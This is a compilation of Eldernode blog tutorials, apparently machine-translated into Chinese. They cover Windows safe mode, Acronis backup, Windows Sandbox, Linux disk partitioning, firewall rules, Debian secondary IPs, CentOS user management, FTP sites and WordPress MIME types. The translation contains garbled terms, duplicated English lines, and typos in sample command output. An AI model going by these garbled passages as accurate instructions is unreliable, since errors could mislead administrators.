要在 Windows 10 中进入安全模式,也可以通过安装 Windows 来进行。为此,请按照以下步骤操作:
1。将想要的内存( DVD 或 USB )连接到你的系统。
2。 照常引导系统。
3。在安装页面的上,点击下一步的选项。
4。在出现的 页面中,点击修复你的电脑。
5。 现在按照这些步骤依次进行:
故障排除 > > 高级选项 > > 命令行提示。
6。 当 命令提示符 出现时,在里面键入以下命令:
bcdedit/set { default } safeboot minimal
7。 执行完这些步骤后,关闭命令提示。
8。 然后选择继续和退出到引导系统进入安全模式。
退出 Windows 10 中的安全模式
以上,我们已经教了你一些在 Windows 10 中进入安全模式的方法。现在我们想说在 Windows 10 中脱离安全模式是什么感觉?
要在 Windows 10 中 退出 安全模式,您必须执行以下操作:
1。 当您的系统安全启动或进入安全模式时,使用 Win + R 组合键。
2。T3 此时,显示运行窗口。在运行窗口中,键入 msconfig 并按下 ok 。
3。 转到总选项卡,确认正常启动是开启。
4。T3 选择开机标签。如果在该选项卡中启用了,则关闭。
5。T3 现在按下 ok 键。
6。 重启系统。
通过执行上述步骤,您的系统将退出安全模式。
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
介绍适用于 Linux 的 Acronis 备份和恢复- Eldernode 博客
原文:https://blog.eldernode.com/acronis-backup-and-recovery-for-linux/
你的数据很有价值。作为管理员或用户,您可能会在系统操作中面临一些基本的和常见的问题,迫使您快速修复它们。在这种情况下,如果您决定重新安装 Windows,安装所需的驱动程序和软件将非常耗时。否则你甚至会丢失你的重要信息。但是还有一个选择可以跳过所有这些风险事件。要找到第二种选择,请阅读这篇文章,阅读介绍 Acronis Backup And Recovery For Linux 的文章。准备好你自己的 Linux VPS ,根据你的需求选择你的完美套装。我们理解您可能会在白天或晚上的任何时间面临问题。这就是我们提供全天候支持的原因。
Acronis Linux 备份与恢复
备份和恢复系统的最快方法之一就是使用 Acronis 。Acronis 被称为世界上恢复最快的。它可以让你在安装 Windows 和所有程序时拍摄一张图片,这样你就可以用重新安装 Windows 的方法来替换它。与前一种方法相反,使用 Acronis true image 只需几分钟就可以用您最近的所有信息重新安装您的操作系统。
如果您需要用于备份、灾难恢复、安全文件访问、同步和共享的软件,那么功能强大的 Acronis 软件正是您所需要的。个人、商家、服务、提供商都是他们的客户。
什么是 Acronis 备份,为什么使用它
Acronis 数据保护平台是执行备份活动的地方。采用全系统镜像备份技术,Acronis 的备份软件包括 Acronis 真实镜像。为了保护您的数据,最好备份整个机器,尤其是当您不知道您到底需要保护什么数据时。当您选择整台电脑备份的类型时,Acronis True Image 可以以磁盘模式备份您所有的内部硬盘。
这样,您将能够备份操作系统、已安装的程序、系统设置以及照片、音乐和文档等个人数据。当您使用 Acronis 真实映像创建备份或 Acronis 备份压缩映像时。tib 文件将被创建来发送给你一个硬盘的精确副本。这是一个基于磁盘的备份和恢复程序。正如我们提到的,用于备份和恢复目的的映像文件是由 Acronis 软件的备份操作创建的。备份操作不会对生产环境和处理过程产生不良影响。这个软件很容易管理和使用。
肩峰特征
您将体验到 Acronis 的简单备份。凭借灵活的平台,it 通过直观的界面保护您能想象到的一切,包括照片、文件、应用程序、系统和设备。你将很难找到替代方案,因为 T2 已经足够高效了。享受可靠的备份和先进的反恶意软件。不再需要管理多种工具和额外成本。网络威胁越现代,黑客就越发达。从磁盘故障到设备丢失/被盗等等,确保安全。
肩峰溶液
Acronis 支持任何环境,如物理、虚拟、云、应用、移动和端点。它为您的业务提供一些解决方案,如网络安全、数据保护和端点管理。任何用户都需要持续的数据保护来防止数据丢失。当客户面临“数据丢失”的情况时,他们会询问关键数据是否能够恢复。所以,关键因素是他们最后一次备份是什么时候。
Acronis 赛博云
正如我们提到的,恢复的机会取决于最新的定时备份。但是,如果您使用持续数据保护来保护客户的高优先级文件和文件夹,您很容易忘记这一点。如果您使用 Acronis Cyber Clients 保存当天和客户的数据,这是可能的。这样,您可以防止经常使用的应用程序和文件夹的进度丢失。您的 IT 系统通过 Acronis 云基础设施得到保护和恢复。还有一些其他功能,例如:
双重保护
活动磁盘克隆
不间断备份
云恢复
虚拟保护仪表板
通用恢复
自动移动备份
保护暂停
Acronis 救生包。
Acronis Linux 代理
每台服务器都有一个要备份的代理。根据预先定义的时间表(每隔 15-60 分钟),代理会将客户端服务器上的数据复制到本地(T2)设备上。所有的应用程序和文件的变化是由 Acroni 的代理监控,以便能够不断地备份它们。由于这种监控,没有数据丢失。一旦任何恶意软件感染,您可以从上次备份恢复数据。您还可以使用代理来帮助您在 Linux 下启用磁盘级和文件级数据保护。
结论
在本文中,您了解了 Acronis Backup And Recovery For Linux 简介。您建议为您的企业制定一个备份和恢复计划。关键数据的安全性是任何企业最重要的部分之一。您可以使用 Acronis Backup 获得持续的数据保护,无需任何额外成本,并享受其经济实惠的功能。如果您有兴趣阅读更多内容,请找到我们的相关文章介绍 Amanda Linux 备份工具。
如何在 Windows 10 - ElderNode 博客中激活和使用沙盒
原文:https://blog.eldernode.com/activate-and-use-sandbox-in-windows-10/
如何在 Windows 10 中激活并使用沙箱。沙盒是 Windows 10 (1903 版)2019 年 5 月更新中增加的一个新功能的名称。沙箱旨在为测试和执行不安全的软件在系统中提供一个独立和安全的空间。你可以用比特币购买便宜的虚拟主机,完美货币 Eldernode 。
如何在 Windows 10 中激活和使用沙盒
通过在 Windows 10 中添加这一功能,您可以在沙盒中安全地运行任何程序,而不必担心损坏系统的各个部分。在本文中,我们将教你如何在 Windows 10 中激活沙盒功能,以及如何使用它。和我们在一起!
什么是 Windows 沙盒?
沙箱是一个虚拟机,使用微软系统管理程序或虚拟机监视器设计,以创建一个完全类似 Windows 的环境来测试和运行不安全的程序。
沙箱与原始窗口完全分离。从而不允许恶意和不安全程序影响主计算机系统。这个空间的容量约为 100 MB,运行起来更容易也更快,一般来说,它的主要精力放在了系统安全上。
简单来说,沙盒就像一个完全封闭隔离的密室,没有任何威胁可以从里面渗透的门。当沙箱关闭时,所有通过恶意程序或文件应用于它的效果都将消失。当然,你可以通过在 Windows 中构建一个虚拟机来创建一个类似的环境,但是 Windows 沙盒在这方面有几个主要的优势。
例如,您不再需要花费额外的时间来构建和下载虚拟机。或者每次运行沙盒时,它都会给你一个全新的、干净的 Windows 10 映像。此外,每次关闭沙盒时,里面的所有东西都会被测试,它们的影响会被自动移除,其安全性非常高。
在下文中,我们将全面解释如何激活和使用 Windows 沙箱。
使用 Windows 沙盒的先决条件
1。 Windows 10 pro(或企业版)
2。硬件虚拟化
3。 AMD64 架构
4。最低双核处理器(建议使用支持“超线程”的四核处理器)
5。至少 4 GB 内存(建议 8 GB)
6。1gb 硬盘空间(建议使用固态硬盘)
教程确保启用虚拟化
首先,您需要确保在您的系统的 BIOS 中启用了虚拟化。它通常是默认的,但是有一个简单的方法来检查。
通过点击 Ctrl+Shift+Esc 打开任务管理器,然后前往性能选项卡。
确保在左侧和右侧选择了 CPU 类别,只需确保它显示虚拟化:启用。
注意: 如果未启用虚拟化,您需要在继续操作之前在电脑的 BIOS 设置中启用它。
了解如何激活沙盒
在 Windows 10 中激活沙盒非常容易,不需要复杂的步骤。首先,确保您的设备支持硬件虚拟化,并且在 BIOS 或 UEFI 中启用了该功能。
要检查您的设备是否支持虚拟化,请遵循以下步骤:
1。打开开始菜单。
2。搜索命令提示符并打开。
3。输入以下命令,然后按回车键:
systeminfo.exe
4。现在检查 Hyper-V 要求部分。
如果单词 Yes 用在短语Firmware中启用的虚拟化前面,这意味着该功能在您的系统中是活动的,您可以使用沙箱。
如何启用 Windows 沙盒功能
1。打开开始菜单。
2。搜索并选择打开或关闭 Windows 功能。
3。然后在打开的窗口中,寻找 Windows 沙盒选项并勾选它。
4。点击确定按钮。
5。最后,点击现在重启按钮。
重启 Windows 后,沙盒功能在 Windows 中被激活,可以轻松使用。
如何使用 Windows 沙盒
开始使用沙盒非常容易,你只需要做以下事情:
1。打开开始菜单。
2。搜索 Windows 沙盒。然后在显示的第一个结果上右击,选择以管理员身份运行。
然后,您应该会看到当前操作系统的近似副本。
有一些不同。
这是一个全新的 Windows 安装,所以你会看到默认壁纸,除了 Windows 自带的默认应用程序之外什么也看不到。
虚拟操作系统是从您的主 Windows 操作系统中动态生成的,因此它将始终运行您正在使用的相同版本的 Windows 10,并且它将始终完全保持最新。
****3。到将需要的程序转移到主系统的沙盒空间,在程序上右击,从下拉列表中选择复制。
注意: 拖拽不起作用!
****4。在沙盒窗口中,在桌面空白处右击,选择粘贴,将您的应用程序移动到沙盒测试环境。
****5。到安装沙箱内的程序,双击并执行安装步骤。
****6。安装完成后,就可以按照通常的方式运行程序并使用了。
注意: 如果你在沙箱里删除了一个文件,它不会进入回收站,那个文件将被永远删除。删除项目时,您会收到警告。
在测试并使用完程序后,关闭沙盒窗口,移除虚拟机及其内部执行的操作。
结论
在这篇文章中,在提供了关于 Windows 沙盒的解释之后,如何激活沙盒及其功能,以及如何在 Windows 10 中使用它,都得到了充分的传授。
In this article, after providing explanations about Windows Sandbox, how to activate sandbox and its features and how to use it in Windows 10 were fully taught.
教程向 Linux 服务器添加新磁盘——向现有 Linux 服务器添加磁盘
原文:https://blog.eldernode.com/add-a-new-disk-to-linux-server/
作为系统管理员,您需要知道如何为现有服务器配置原始硬盘。在本文中,您将学习教程向 Linux 服务器添加新磁盘。在下文中,您将看到如何向现有服务器添加新磁盘,作为升级服务器容量的一部分,或者在磁盘出现故障时替换磁盘。因此,请加入我们,看看如何将新的原始硬盘添加到现有的 Linux 服务器中,例如【RHEL】/CentOS或Debian/Ubuntu。
先决条件
如果您知道以下内容,本教程可能会更有用:
- 请注意,您将只学习创建一个新分区,而不是任何分区扩展或其他开关。
- 使用 fdisk 实用程序进行此配置。
- 要挂载为/数据分区,添加一个 20GB 容量的硬盘。
教程向 Linux 服务器添加新磁盘
要查看和管理 Linux 系统上的硬盘和分区,请运行以下命令。
fdisk -l
分区和配置如下所示。
[[[email protected]](/cdn-cgi/l/email-protection) installer]# -l Disk /dev/xvda: 107.4 GB, 107374182400 bytes, 209715200 sectors Units = sectors of 1 * 512 bytes Sector size (logical/physical): 512 bytes 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk lable type: dos Disk identifier: 0x000969af Device Boot Start End Blocks Id System /dev/xvda1 * 2048 1026047 512000 83 Linux /dev/xvda2 1026048 209715199 104344576 8e Linux LVM Disk /dev/mapper/rhel-root: 104.7 GB 104681439232 bytes, 204455936 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk / dev/mapper/rhel-swap: 2164 MB, 2164260864 bytes, 4227072 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes
fdisk -l 在附加了 20GB 容量的硬盘后,会给出如下输出。
fdisk -l [[[email protected]](/cdn-cgi/l/email-protection) installer]# fdisk -l Disk /dev/xvda: 107.4 GB, 107374182400 bytes, 209715200 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes I/O size lable type: dos Disk identifier: 0x000969af Device Boot Start End Blocks Id System /dev/xvda1 * 2048 1026047 512000 83 Linux /dev/xvda2 1026048 209715199 104344576 8e Linix LVM Disk /dev/mapper/rhel-root: 104.7 GB, 104681439232 bytes, 204455936 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk /dev/mapper/rhel-swap: 2164 MB, 2164260864 bytes, 4227072 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk /dev/xvdc: 21.5 GB, 21474836480 bytes, 41943040 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes
可以查看新添加的磁盘为 /dev/xvdc 。如果您添加了物理磁盘,它将根据磁盘类型显示为 /dev/sda 。在本教程中,我们使用了虚拟磁盘。
例如 /dev/xvdc,对特定硬盘进行分区。
fdisk /dev/xvdc
在下面,您可以使用 fdisk 命令。
n–创建分区
p–打印分区表
d–删除一个分区
q–退出而不保存更改
w–写入更改并退出。
使用 n 选项时,创建的分区如下。
`[[[email protected]](/cdn-cgi/l/email-protection) installer]# fdisk /dev/xvdc Welcome to fdisk (unil-linux 2.23.2). Changes will remain in memory only, until you decide to write them. Be careful before using the write command. device does not contain a recognized partition table Building a new Dos disklable with disk identifier 0xea4ddcaf Command (m for help): n`
此外,建议您创建主/扩展分区。默认情况下,最多可以有 4 个主分区。
`Command (m for help): n Partition type: P primary (0 primary, 0 extended, 4 free) e extended Select (default p): p`
现在建议您使用默认值 1 。根据需要给出分区号。
`Partition number (1-4, default 1) : 1`
在使用新磁盘的情况下,您应该始终选择默认值。要在同一个磁盘上创建第二个分区,需要将 1 添加到前一个分区的最后一个扇区。
`First sector (2048-41943039, default 2048) : 2048`
是时候给出最后一个扇区的值或分区大小了。总是试图给出分区的大小和前缀 + 以避免值超出范围的错误。
`Last sector, +sectors or +size{k,m,g} (2048-41943039, default 41943039) : +18G`
然后保存更改并退出。
`Partition 1 of type Linux and of size 18 Gib is set Command (m for help) : w Calling ioctl() to re-read partition table. Syncing disk. [[[email protected]](/cdn-cgi/l/email-protection) installer]#`
`Disk /dev/xvdc: 21.5 GB, 21474836480 bytes, 41943040 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical) : 512 bytes / 512 bytes I/o size (minimum/optimal) : 512 bytes / 512 bytes Disk lable type: dos Disk identifier : 0xea4ddcaf Device boot Start End Blocks Id System /dev/xvdcl 2048 37750783 18874368 83 Linux [[[email protected]](/cdn-cgi/l/email-protection) installer]#`
现在用 **mkfs** 命令格式化磁盘。
`mkfs.ext4 /dev/xvdc1`
`[[[email protected]](/cdn-cgi/l/email-protection) installer]# mkfs.ext4 /dev/xvdc1 mke2fs 1.42.9 (28-Dec-2013) Filesystem lable= OS type: Linux Block size=4096 (log=2) Fragment size=4096 (log=2) Stride=0 blocks, Stripe width=0 blocks 1179648 inodes, 4718592 blocks 235929 blocks (5.00%) reserved for thr super user First data block=0 Maximum filesystem blocks=2153775104 144 block groups 32768 blocks per group, 32768 fragment per group 8192 inodes per group Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208, 4096000 Allocating group tables: done Writting inode tables: done Creating Journal (32768 blocks): done Writting superblocks and filesystem accounting information: done`
格式化完成后挂载分区。
`mount /dev/xvdc1 /data`
现在,您应该在 **/etc/fstab** 文件中为引导时的永久挂载创建一个条目。
`/dev/xvdc1 /data ext4 defaults 0 0`
**使用分区时请注意**,尤其是在编辑已配置的磁盘时。
亲爱的用户,我们希望这个向 Linux 服务器添加新磁盘的教程对你有所帮助,如果你有任何问题或者想查看我们的用户关于这篇文章的对话,请访问[提问页面。](https://eldernode.com/ask)也为了提高你的知识,[老年节点培训准备了很多有用的教程。](https://eldernode.com/blog/)
**亦作,见**
[教程 Linux 上连接 ssh](https://eldernode.com/tutorial-connect-to-ssh-on-linux/)
[如何在 Linux 中使用 Fping](https://eldernode.com/work-with-fping-in-linux/)
[教程向 Linux 服务器上的所有用户发送消息](https://eldernode.com/send-messages-to-all-users-on-linux/)
如何在 Windows 防火墙- ElderNode 博客中添加规则
原文:https://blog.eldernode.com/add-a-rule-in-windows-firewall/
如何在 Windows 防火墙中添加规则?在上一篇文章中,向您介绍了 Windows 防火墙环境。在这篇文章中,我们将教你如何在 Windows 防火墙中添加一条规则。
在开始本教程之前,有必要了解如何在中添加规则,入库和出库的步骤彼此相似。
在 Eldernode 选择您的完美 Windows 虚拟专用服务器包
了解如何在 Windows 防火墙中添加规则
1。在入库规则选项上右击,选择新规则。
2。 在打开的页面中,有 4 种模式可供选择,分别是:
–程序 : 为 Windows 内部的软件 写一个规则
–端口 : 为一个或多个特定端口编写规则
–预定义的 : 为预定义的 Windows 服务如远程桌面写一个规则
–自定义 : 用打开选项(以上 3 个选项的组合)编写一个规则
在本文中,我们使用自定义选项来包含所有场景。
3。T3 选择自定义选项,点击下一步。
在下一页,您将看到以下 3 个选项:
–所有程序 : 将规则应用于所有 Windows 程序
–该程序路径 : 将规则应用于特定程序
–服务 : 将规则应用于特定的 Windows 服务
在本节中,我们选择所有程序选项。
4。 在下一步中,您可以选择期望的 端口和协议。
注意 端口和协议的选择取决于你对是打开还是关闭那个端口的看法。
在这一部分,我们选择了端口 80 和 81 。
5。 你可以打开或者关闭这个端口给一个特定的 IP。
如果您点击此部分下一个的,所有 IP 的设置将被默认考虑。如果你需要为一个特定的 IP 地址定义这个规则,使用这些 IP 地址选项。
在本教程中,我们将为一个特定的 IP 定义这个规则。
这里我们添加了一个地址为5.56.133.29的服务器的 IP 地址。
注意 添加 IP 时还可以定义一个具体范围。
6。 在这一步,您可以选择您的规则模式:
a) 允许连接
b) 如果安全,允许连接
c) 阻断连接
选择所需选项后,点击下一个的。
7。 这一步,你决定对不同网络执行规则的权限。
Windows 防火墙分为 3 个不同的部分:
–域 : 如果您的系统连接到一个域,它遵循以下规则。
–公共 : 如果您的系统连接到公共网络,如互联网,则遵循此规则。
–专用 : 如果您的系统连接到内部网络,则遵循此规则。
这里我们选择了所有 3 个选项,这意味着对所有 3 种防火墙模式执行该规则。
8。 最后一步,为你的规则定义一个名字,点击完成。
注: 本教程中定义的规则在5.56.133.29阻止系统上所有应用程序访问到端口 80 和 81 。
亦作,见:
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
如何通过终端命令给 Debian 添加第二个 IP
原文:https://blog.eldernode.com/add-a-second-ip-to-debian-by-terminal/
之前你已经了解了在 Ubuntu 上添加第二个 IP。所以我们来回顾一下如何通过终端命令给 Debian 添加第二个 IP。一个 Debian 管理员可能希望他们的操作系统在具有不同 IP 范围的两个网络上运行。如果您的服务器有两个物理网卡,您必须为这两个网卡设置所需的 IP。但是如果您的服务器有网卡,您需要使用以下命令将虚拟网卡添加到您的操作系统中。
如何通过终端命令给 Debian 添加第二个 IP?
1–临时添加第二个 IP(重启 Debian 时)
2- 永久添加第二个 IP(如果不重启 Debian,第二个 IP 不会被删除)****
如何购买 Linux 虚拟主机
向 Debian 添加第二个 IP,就像向 Ubuntu 添加第二个 IP 一样,需要输入几个简单的命令,我们将在下面解释。
注 :该指令和步骤仅适用于 Debian 7 和 Debian 8 。
添加第二个 IP 到 Debian(临时)
1–进入 Debian 终端环境。
2–输入以下命令添加第二个 IP。
**`ifconfig eth0:1 10.10.10.3 netmask 255.255.0.0 up`**
在这个例子中,地址 10.10.10.3 被添加到 Debian 作为第二个 IP 。
注: T he 以上 IP 命令会一直保留到 Debian 重新启动,操作系统重新启动后会被删除。
给 Debian 添加第二个 IP(永久)
1–进入 Debian 终端环境。
2——用编辑器打开文件 /etc/network/interfaces 。
**`nano /etc/network/interfaces`**
3–在打开的文件末尾输入以下短语。
**`auto eth0:1 iface eth0:1 inet static address 10.10.10.5 netmask 255.255.0.0 broadcast 10.10.10.255 network 10.10.10.0`**
注意: 通过比较上面的命令和第一个 IP 命令,你会注意到增加的选项是 eth0: 1 。
事实上,通过输入短语 eth0: 1 ,一个虚拟网卡被添加到您的 Debian,并使用您的主网卡连接到网络。
4–保存文件并退出。
5–完成上述步骤后,使用以下命令打开虚拟网卡。
**`ifup eth0:1`**
6–如果您需要关闭添加的虚拟网卡,请输入以下命令。
**`ifdown eth0:1`**
亲爱的用户,我们希望这篇关于如何通过终端命令给 Debian 添加第二个 IP 的教程对你有所帮助,如果你有任何问题或者想回顾我们的用户关于这篇文章的对话,请访问提问页面。也为了提高你的知识,这里有很多关于老年节点训练的有用教程。
教程在 centos 8 上添加和删除用户-在 CentOS 8 上创建用户
原文:https://blog.eldernode.com/add-and-delete-users-on-centos-8/
在 Linux 服务器上最常见的活动之一是添加或删除用户。今天我们来介绍一下在 CentOS 8 上添加和删除用户的教程。在本文中,您将学习如何在 CentOS 8 服务器上创建用户帐户、分配 sudo 权限以及删除用户。
先决条件
我们认为您是以未启用 root sudo- 的用户身份登录 CentOS 8 服务器的,但是如果您以 root 身份登录,您可以删除以下所有命令的 sudo 部分。因为它们无论如何都会起作用。
教程在 CentOS 8 上添加和删除用户
添加用户
通过键入以下命令添加新用户:
sudo adduser noodi
要为您的用户提供登录密码,请使用下面的命令。
sudo passwd noodi
现在新用户已经设置好,可以使用了,你可能需要输入两次密码来确认。【T2
建议阅读:
授予用户 Sudo 权限
如果你想给你的用户以 root (管理)权限执行命令,你需要给他们 sudo 的访问权限。要将您的用户添加到滚轮组,使用以下命令。
sudo usermod -aG wheel noodi
然后会要求您输入您的用户帐户的密码。提交正确的密码后,您输入的命令将以 root 权限执行。
管理拥有 Sudo 权限的用户
虽然您可以通过 usermod 使用组来添加和删除用户,但是该命令可能不会显示哪些用户是组的成员。当您需要查看哪些用户属于 滚轮组时,您可以使用 lid 命令。并且用 -g 标志,你可以反过来显示哪些用户属于一个组:
sudo lid -g wheel Output
centos(uid=1000) noodi(uid=1001)
为了验证前面的命令是否成功以及用户是否拥有所需的权限,输出将显示与该组相关联的用户名和 uid。
删除用户
删除所有长期不使用的用户帐户。要做到这一点而不删除任何文件,请使用下面的命令。
sudo userdel noodi
但是,如果您想删除用户的主目录及其帐户,请添加
-r 标志给用户:
sudo userdel -r noodi
使用上述命令,用户将从他们被添加到的任何组中删除。包括适用的车轮组。如果您想添加另一个同名的用户,也可以将他们再次添加到轮盘组,以获得 sudo 访问权限。
总之,现在您知道了如何在 CentOS 8 服务器上添加和删除用户。尝试将用户分开,只给他们完成工作所需的访问权限,以面对有效的用户管理。
亲爱的用户,我们希望这篇在 CentOS 上添加和删除用户的教程能对你有所帮助,如果你有任何问题或想查看我们的用户关于这篇文章的对话,请访问[提问页面](https://eldernode.com/ask)。也为了提高你的知识,有这么多有用的教程为[老年节点培训](https://eldernode.com/blog/)准备。
**如果你对相关文章感兴趣:**
[如何移除 CentOS 7 上的网络管理器](https://eldernode.com/remove-network-manager-centos-7/)
如何在 Windows 10 - Windows VPS 服务器中添加启动文件
如何在 Windows 10 中添加文件启动?在 Windows 中默认安装一些程序后,它们被放置在 Windows 启动中,当 Windows 运行时,该程序自动运行。为此,我们将教你如何添加启动文件,以便将你想要的程序放入 Windows 引导。
您可能还想知道在 Windows 启动中添加文件或文件夹有什么好处。比如,你有一个程序,因为各种原因,不小心在没有你干预的情况下,重启 Windows 后需要打开运行。或者你需要在每次重启 Windows 时运行一个脚本。
了解如何在 Windows 10 中向启动添加文件
您可以通过两种不同的方式将文件和文件夹添加到启动中:
1- 复制启动文件夹中的程序快捷方式
2- 在启动文件夹中创建一个程序的快捷方式
下面解释了这些方法中的每一种:
第一种方法)将程序快捷方式复制到启动文件夹中
1。 首先,在你程序的快捷方式上右击,复制。
2。 然后打开 运行 窗口,在其中输入短语 shell:启动,点击 OK 。
您可以使用 Winkey + R 组合键打开 Run 窗口。
3。在打开的 文件夹中,粘贴所需程序的快捷方式。
完成这些步骤后,程序将在 Windows 的每次引导后运行。
在本教程中,我们将 Photoshop 程序放在 Windows 启动中。
第二种方法)在启动文件夹中创建一个程序的快捷方式
1。 首先打开运行窗口,输入短语 shell:启动。(类似于第一种方法的第二步)
2。 在空环境中右键单击,选择快捷选项,如图所示。
3。在打开的窗口中,点击浏览。
4。 转到所需的程序文件夹并选择它。
5。 在这一步,为你的快捷方式选择一个名字。
6。 点击完成后,您的程序快捷方式将被创建。
请记住,当 Windows 启动时,该文件夹中的所有程序或文件夹都将打开并启动。
注意: 如果要将程序从启动中移除,进入启动文件夹删除快捷方式。
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
教程在 Windows Server 2019 上添加 FTP 站点- Eldernode
原文:https://blog.eldernode.com/add-ftp-site-on-windows-server/
教程在 Windows Server 2019 上添加 FTP 站点。在 Windows VPS 服务器和 Windows Server 中,为了能够通过 FTP 协议发送或接收信息,必须安装和设置 FTP 服务器。在 Windows 服务器上创建本地用户和 FTP 站点非常重要。
借助 FTP 站点,可以完成 Windows server 与网络中其他系统之间通过 FTP 传递信息的过程。
在服务器上安装 FTP 服务器后,还必须配置 FTP 站点。
为此,在本文中,我们将教你如何在 Windows Server 2019 中添加 FTP 站点。
如何在 Windows Server 2019 上添加 FTP 站点
1。 第一步,我们要在 C:\inetpub 中创建一个目录。
2。在输出 FTP 服务器上右击。然后点击属性选项。
3。点击所需群组的以允许访问。在这种情况下是用户。
单击编辑。
4。 下一步,P 对<组名> 的权限将激活,如下图所示。
检查完全控制选项。
5。 下一步,点击站点,选择添加 FTP 站点。将显示一个添加 FTP 站点向导。
输入站点的首选名称,并选择您刚刚在上面添加的文件夹。然后点击下一个。
6。 输入您想要的站点名称,选择您刚刚在上面添加的文件夹。
7。 点击下一个。
8。 在下一个窗口中,您可以将 IP 保留为所有未分配的,这意味着 0.0.0.0/0 ,也可以输入服务器的具体 IP。因为我们还没有配置任何 SSL,所以选择无 SSL 。
点击下一个的。
9。 我们将使用基本认证,并指定我们添加到服务器的特定用户。为此,我们从授权下拉列表中选择特定角色或用户组。
10。 我们将在授权下添加用户,然后检查读写权限。之后点击完成。
11。 点击 FTP 站点后,选择 FTP 防火墙支持,点击开放功能。
在打开的窗口中,在防火墙的外部 IP 地址中输入您的 IP 服务器。点击应用。
**
使用 FTP 客户端进行测试
打开你的 FTP 客户端比如 Filezilla 。
1。 点击文件,选择站点管理员。
2。 点击新建站点。如图所示输入 IP 、用户名、端口和密码,然后点击连接。
3。 没有 SSL 的 FTP 是不安全的,因此有如下提示。点击确定,只要 FTP 站点不远离您的房屋。
3. FTP without SSL is insecure hence the prompt below. Click OK as long as the FTP Site is not away from your premises.
4。 从密码管理指定的选项中选择适合自己的选项。
4. Choose the one that suits you from the options specified for password management.
5。 成功登录后,显示如下画面。
5. After successful login, the following image is displayed.
6。 导航到想要上传到 FTP 的文件/文件夹,右键选择上传。
6. Navigate to a file/folder you would wish to upload to the FTP, right-click and select Upload.
7。 去你站点的 FTP 文件夹查看文件上传情况。
看,阿洛:
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
See, Alo:
Dear user, we hope you would enjoy this tutorial, you can ask questions about this training in the comments section, or to solve other problems in the field of Eldernode training, refer to the Ask page section and raise your problem in it as soon as possible. Make time for other users and experts to answer your questions.
Goodluck.
如何给你的 WordPress 站点添加模仿类型
原文:https://blog.eldernode.com/add-mimetic-types-to-your-wordpress/
WordPress 的局限性之一是减少了用户在 WordPress 库中添加不同类型格式的权限。也许你对自己说,当 WordPress 库由于安全问题已经阻止了添加其他格式的可能性时,我怎么能把某些格式添加到 WordPress 站点呢?不要担心,在这个教程中你可以学习如何在你的 WordPress 站点中添加模仿类型。还需要注意的是,你可以访问 Eldernode 网站提供的软件包,在 VPS 服务器上建立你的 WordPress 站点。
如何在 WordPress 库中添加不同类型的格式
你一定在 WordPress 中遇到了一个错误(出于安全原因,这种类型的文件是不允许的)。当你想从库部分添加一个不同扩展名的文件到你的 WordPress 时,这个错误被显示。基本上,WordPress 创建这样的限制是为了确保其网站的安全性,以防止出现问题。现在,如果你还需要在 WordPress 库中添加不同类型的格式,你可以了解更多关于 WP Add Mime Types 插件的特殊功能。
WP 特殊功能添加 Mime 类型插件
在这一节中,我们将提到 WP 添加 Mime 类型插件的一些最重要的特性:
–非常简单的用户界面
–添加不同格式的能力
–它有大约 90 种不同的格式
–能够定义其他格式
–定期更新
安装拟态类型插件到你的 WordPress
在熟悉了 WP 添加 Mime 类型插件的特性后,我们将安装并设置这个插件,在 WordPress 库中添加不同类型的格式。
有两种方法可以安装这个插件。
第一种方法,可以参考 WP 添加 Mime 类型插件的下载页面。然后点击下载,如下图所示:
成功下载插件后,打开 WordPress 仪表盘。然后,从插件菜单中点击添加插件。在打开的页面上,点击上传插件,然后安装。
第二种方法,你可以再次参考 WordPress dashboard 来安装 WP Add Mime Types 插件。然后从插件菜单中选择添加新的选项。然后从搜索菜单中键入 WP Add Mime Types ,如下所示。
显示结果后,点击立即安装安装插件:
最后,成功安装 WP 添加 Mime 类型插件后,激活它。
WP 添加拟态类型设置
要定制 WP 添加 Mime 类型插件,点击设置菜单。您可以在子菜单中看到 Mime 类型设置。从现在起,您可以轻松复制所需格式并将其添加到添加值部分,然后点击保存。
结论
用户面临的一个最常见的问题是 WordPress 的局限性,由于安全问题限制了用户,使他们不能向 WordPress 库添加不同的格式。在这篇文章中,你学习了如何在你的 WordPress 站点上添加模仿类型。看完这篇文章,你可以绕过这些限制,解决你在这个领域的问题。如果你在这方面有任何问题,你可以通过评论区与我们分享。
如何将 mimetype 添加到 Windows 服务器-教程| Eldernode
原文:https://blog.eldernode.com/add-mimetype-to-windows-servers/
教程在 Windows 服务器上添加 mimetype。
Mime 是一个文件识别系统。MimeType 是在互联网上识别内容的标准方法,它可以用来定制各种 mime 扩展,以便在您的网站上使用。
每种 Mime 格式都包含一种内容类型( MimeType )和一种(子类型),它指定了文件中存储的数据类型。
